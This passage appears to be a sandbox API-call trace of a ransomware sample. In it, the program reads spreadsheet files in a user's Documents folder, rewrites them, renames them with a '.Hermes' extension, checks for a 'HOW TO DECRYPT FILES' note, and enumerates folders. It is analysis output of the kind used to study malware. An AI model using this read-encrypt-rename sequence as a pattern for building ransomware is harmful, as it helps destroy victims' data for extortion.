lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", lpFilePart=0x0) returned 0x4c [0092.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\jdpo.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.751] GetFileType (hFile=0x304) returned 0x1 [0092.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.751] GetFileType (hFile=0x304) returned 0x1 [0092.751] WriteFile (in: hFile=0x304, lpBuffer=0x3167530*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x3167530*, lpNumberOfBytesWritten=0x19db60*=0x7ab0, lpOverlapped=0x0) returned 1 [0092.752] CloseHandle (hObject=0x304) returned 1 [0092.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls", lpFilePart=0x0) returned 0x4c [0092.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls.Hermes", lpFilePart=0x0) returned 0x53 [0092.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.756] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\jdpo.xls"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e71530, ftCreationTime.dwHighDateTime=0x1d4cb92, ftLastAccessTime.dwLowDateTime=0xb8aae8d0, ftLastAccessTime.dwHighDateTime=0x1d4c795, ftLastWriteTime.dwLowDateTime=0xb0c0bf8f, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x7ab0)) returned 1 [0092.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.756] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\jdpo.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\jDPo.xls.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\jdpo.xls.hermes")) returned 1 [0092.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", lpFilePart=0x0) returned 0x57 [0092.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\kryoh-fnuxncwua.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.757] GetFileType (hFile=0x304) returned 0x1 [0092.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.757] GetFileType (hFile=0x304) returned 0x1 [0092.757] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x1587a [0092.797] ReadFile (in: hFile=0x304, lpBuffer=0x417d3b8, nNumberOfBytesToRead=0x1587a, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x417d3b8*, lpNumberOfBytesRead=0x19db6c*=0x1587a, lpOverlapped=0x0) returned 1 [0092.799] CloseHandle (hObject=0x304) returned 1 [0092.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", lpFilePart=0x0) returned 0x57 [0092.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\kryoh-fnuxncwua.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.840] GetFileType (hFile=0x304) returned 0x1 [0092.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.840] GetFileType (hFile=0x304) returned 0x1 [0092.840] WriteFile (in: hFile=0x304, lpBuffer=0x41e8e70*, nNumberOfBytesToWrite=0x15880, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x41e8e70*, lpNumberOfBytesWritten=0x19db60*=0x15880, lpOverlapped=0x0) returned 1 [0092.842] CloseHandle (hObject=0x304) returned 1 [0092.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls", lpFilePart=0x0) returned 0x57 [0092.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls.Hermes", lpFilePart=0x0) returned 0x5e [0092.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\kryoh-fnuxncwua.xls"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb163a40, ftCreationTime.dwHighDateTime=0x1d4cb08, ftLastAccessTime.dwLowDateTime=0x64696a60, ftLastAccessTime.dwHighDateTime=0x1d4c6d9, ftLastWriteTime.dwLowDateTime=0xb0d53d85, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x15880)) returned 1 [0092.888] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\kryoh-fnuxncwua.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\kryOh-FNUXNCWUA.xls.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\kryoh-fnuxncwua.xls.hermes")) returned 1 [0092.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", lpFilePart=0x0) returned 0x52 [0092.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\okefxkuyil.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.939] GetFileType (hFile=0x304) returned 0x1 [0092.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.939] GetFileType (hFile=0x304) returned 0x1 [0092.939] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0xe47b [0092.939] ReadFile (in: hFile=0x304, lpBuffer=0x31bcbb0, nNumberOfBytesToRead=0xe47b, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x31bcbb0*, lpNumberOfBytesRead=0x19db6c*=0xe47b, lpOverlapped=0x0) returned 1 [0092.940] CloseHandle (hObject=0x304) returned 1 [0093.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0093.077] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", lpFilePart=0x0) returned 0x52 [0093.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\okefxkuyil.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0093.079] GetFileType (hFile=0x304) returned 0x1 [0093.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0093.079] GetFileType (hFile=0x304) returned 0x1 [0093.079] WriteFile (in: hFile=0x304, lpBuffer=0x302f020*, nNumberOfBytesToWrite=0xe480, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x302f020*, lpNumberOfBytesWritten=0x19db60*=0xe480, lpOverlapped=0x0) returned 1 [0093.091] CloseHandle (hObject=0x304) returned 1 [0093.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls", lpFilePart=0x0) returned 0x52 [0093.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls.Hermes", lpFilePart=0x0) returned 0x59 [0093.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\okefxkuyil.xls"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd7189c0, ftCreationTime.dwHighDateTime=0x1d4cbbb, ftLastAccessTime.dwLowDateTime=0x1bd444b0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xb0f43c96, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xe480)) returned 1 [0093.093] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\okefxkuyil.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\oKefxkUyIL.xls.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\okefxkuyil.xls.hermes")) returned 1 [0093.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", lpFilePart=0x0) returned 0x57 [0093.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\yotj rsldnhyji.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0093.094] GetFileType (hFile=0x304) returned 0x1 [0093.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0093.094] GetFileType (hFile=0x304) returned 0x1 [0093.094] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x1427d [0093.094] ReadFile (in: hFile=0x304, lpBuffer=0x303db90, nNumberOfBytesToRead=0x1427d, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x303db90*, lpNumberOfBytesRead=0x19db6c*=0x1427d, lpOverlapped=0x0) returned 1 [0093.095] CloseHandle (hObject=0x304) returned 1 [0093.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0093.121] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", lpFilePart=0x0) returned 0x57 [0093.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\yotj rsldnhyji.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0093.123] GetFileType (hFile=0x304) returned 0x1 [0093.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0093.123] GetFileType (hFile=0x304) returned 0x1 [0093.123] WriteFile (in: hFile=0x304, lpBuffer=0x30c726c*, nNumberOfBytesToWrite=0x14280, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x30c726c*, lpNumberOfBytesWritten=0x19db60*=0x14280, lpOverlapped=0x0) returned 1 [0093.126] CloseHandle (hObject=0x304) returned 1 [0093.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx", lpFilePart=0x0) returned 0x57 [0093.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx.Hermes", lpFilePart=0x0) returned 0x5e [0093.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\yotj rsldnhyji.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89db42c0, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x67451390, ftLastAccessTime.dwHighDateTime=0x1d4d1d0, ftLastWriteTime.dwLowDateTime=0xb0fb6394, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x14280)) returned 1 [0093.134] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\yotj rsldnhyji.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\PVOgT\\yOtj RSlDnhyJi.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\pvogt\\yotj rsldnhyji.xlsx.hermes")) returned 1 [0093.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0093.135] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c0) returned 1 [0093.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0093.147] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0093.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c0) returned 1 [0093.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0093.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes", lpFilePart=0x0) returned 0x23 [0093.149] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb070 [0093.150] FindNextFileW (in: hFindFile=0xfdb070, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.150] FindNextFileW (in: hFindFile=0xfdb070, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.150] FindNextFileW (in: hFindFile=0xfdb070, lpFindFileData=0x19df30 | out: 